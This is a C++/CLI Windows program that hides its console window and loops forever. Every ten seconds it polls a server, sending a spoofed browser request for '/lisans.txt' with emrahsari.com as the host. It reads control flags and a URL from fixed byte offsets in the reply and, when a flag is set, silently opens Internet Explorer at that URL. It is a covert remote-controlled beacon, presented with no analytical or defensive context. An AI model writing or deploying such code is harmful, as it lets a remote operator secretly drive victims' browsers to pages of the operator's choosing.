#include <winsock2.h>
#include <string>
#include <windows.h>
#using <System.dll>

using namespace std;
using namespace System;
using namespace System::Diagnostics;

char flag;
char flag1;

string get_source(string url)
{
	string adres;	
    WSADATA WSAData;
    WSAStartup(MAKEWORD(2,0), &WSAData);
    SOCKET sock;
    SOCKADDR_IN sin;
    char buffer[380];
	string srequete = "GET /lisans.txt HTTP/1.1 \r\n";
	srequete += "Host: " + url + " \r\n";
	srequete += "Connection: close\r\n";
    srequete += "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
    srequete += "Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    srequete += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
    srequete += "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\r\n";
    srequete += "Referer: http://emrahsari.com/\r\n";
    srequete += "\r\n";
    size_t requete_taille = srequete.size() + 1;
    char crequete[5000];
    strncpy_s( crequete, srequete.c_str(), requete_taille );
    int i = 0;
    sock = socket(AF_INET, SOCK_STREAM, 0);
    sin.sin_addr.s_addr = inet_addr("127.0.0.1");
    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    connect(sock, (SOCKADDR *)&sin, sizeof(sin));
	send(sock, crequete, strlen(crequete), 0);
    i = recv(sock, buffer, sizeof(buffer), 0);
	flag = buffer[328];
	flag1 = buffer[329];
	for (int a = 330; a < 350; a++){
		if (buffer[a] != ' ')
		adres += buffer[a];
	}
    closesocket(sock);
    WSACleanup();
	return adres;
}

void main()
{
	HWND hWnd = GetConsoleWindow();
	ShowWindow(hWnd,SW_HIDE);
	while(1){
		string s;
		s = get_source("emrahsari.com");
		String^ str = gcnew String(s.c_str());
		Sleep(10000);
		if ((flag == '1')||(flag1 == '1')){
		Process::Start( "IExplore.exe", str );
		Sleep(20000);
		}
		delete str;
		s = "";
	}
}